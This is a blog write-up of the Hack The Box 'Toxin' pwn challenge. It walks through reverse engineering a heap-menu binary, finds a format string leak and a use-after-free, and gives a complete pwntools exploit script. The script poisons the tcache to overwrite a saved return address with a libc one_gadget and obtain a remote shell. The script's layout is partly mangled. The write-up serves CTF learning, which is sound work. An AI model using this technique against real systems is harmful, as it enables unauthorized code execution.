HTB - Toxin [Pwn]

Introduction

“Toxin” is a pwn challenge hosted by hackthebox.

First Considerations

The challenge provided:

  1. The binary of the program to exploit
  2. The library used remotely
  3. The right loader to use to load the libc

First I patched the binary (using pwninit) to force the executable to also load the library provided by the challenge.

Pwninit execution

Notice that the library used is libc 2.27 (which is well known for having various bugs in the implementation of the t-cache).

After that I checked for the security measures used at compile-time:

Checksec execution

Notice that the binary is a 64bit executable with all the security measures enabled, except for the canary.

Reverse Engineering

In order to perform some reverse engineering on the binary I used IDA-Free.

Main Function

The main function of the program is pretty simple:

Main function

The program offers on menu which allows to:

  1. Add a toxin
  2. Edit a toxin
  3. Drink a toxin
  4. Search for a toxin

Add Toxin

The following is the function which allows to add a toxin:

Add_toxin function

In particular, this function allows to allocate a chunk in the heap (224 in size, at most) which pointer is stored in a structure in the .bss. It is possible to notice that this function allows to keep track of only 3 chunk at the same time.

Edit Toxin

The edit_toxin function simply allows to modify a chunk:

Edit_toxin function

Notice that this function does not check if the edited chunk is freed or not, therefore it allows to write over a chunk which lives inside the t-cache.

Drink Toxin

The following is the function which allows to drink a toxin:

Drink_toxin function

The interesting function about this function is that it allows (through the usage of the variable toxinfreed stored in the .bss) to free only one chunk during the entire execution of the program.

Search Toxin

The search_toxin function allow to search for a specific toxin (comparing the first characters of toxins’ name) among the ones stored:

Search_toxin function

It is possible to notice that, in this function, there is a huge format string vulnerability which will allow us to leak a bunch of addresses.

Exploitation: General Idea

By exploiting the format string vulnerability it is possible to leak a lot of useful addresses saved in the stack. In particular we will need:

  • A stack address
  • A libc address
  • A .text, .data, or .bss address

Then by using the edit_toxin function in order to write over a free chunk it is possible to poison the t-cache and get a random write in the memory.

Since we leaked a stack address, it is possible to write over the saved_rip in order to make a function return to a one_gadget of the libc.

Exploitation: Implementation

The following script implements the ideas explained above:

#!/usr/bin/python3from pwn import *HOST = <host>
PORT = <port>
EXE = './toxin_patched'
LIBC = './libc.so.6'
# ------------------------------------------------------------------def add_toxin(size, index, payload):
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'formula length: ')
r.sendline(f'{size}'.encode())
r.recvuntil(b'index: ')
r.sendline(f'{index}'.encode())
r.recvuntil(b'toxin formula: ')
r.sendline(payload)
def edit_toxin(index, payload):
r.recvuntil(b'> ')
r.sendline(b'2')
r.recvuntil(b'index: ')
r.sendline(f'{index}'.encode())
r.recvuntil(b'toxin formula: ')
r.sendline(payload)
def drink_toxin(index):
r.recvuntil(b'> ')
r.sendline(b'3')
r.recvuntil(b'index: ')
r.sendline(f'{index}'.encode())
def search_toxin(payload):
r.recvuntil(b'> ')
r.sendline(b'4')
r.recvuntil(b'search term: ')
r.send(payload)
leak = int(r.recvuntil(b'not')[:-4].decode(), 16)
return leak
# ------------------------------------------------------------------if args.R:
r = remote(HOST, PORT)
elif (args.D or args.L):
r = process(EXE)
if args.D:
gdb.attach(r, ''' ''')
input('gdb...')
else:
print('Usage: ./<filename>.py <D | L | R>')
exit()
#-------------------------------------------------------------------libc = ELF(LIBC)
elf = ELF(EXE)
leak = search_toxin(b'%9$lx')
log.info('Text Leak @ %#x', leak)
offset = 0x1284
elf.address = leak - offset
log.info('ELF base @ %#x', elf.address)
leak = search_toxin(b'%3$lx')
log.info('Libc Leak @ %#x', leak)
offset = 0x110081
libc.address = leak - offset
log.info('LIBC base @ %#x', libc.address)
leak = search_toxin(b'%1$lx')
log.info('Stack Leak @ %#x', leak)
saved_rip = leak + 0xe
log.info('Saved RIP @ %#x', saved_rip)
add_toxin(0x10, 0, b'A'*0x10)
drink_toxin(0)
edit_toxin(0, p64(saved_rip))
one_gadget1 = 0x4f2c5
one_gadget2 = 0x4f322
one_gadget3 = 0x10a38c
add_toxin(0x10, 1, b'B'*0x10)
add_toxin(0x10, 2, p64(libc.address + one_gadget2))
r.interactive()

This script gave me a remote shell and the flag. Pwned!

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
WhiteSnake

WhiteSnake

MSc in CyberSecurity at Politecnico di Milano and eJPT Junior Penetration Tester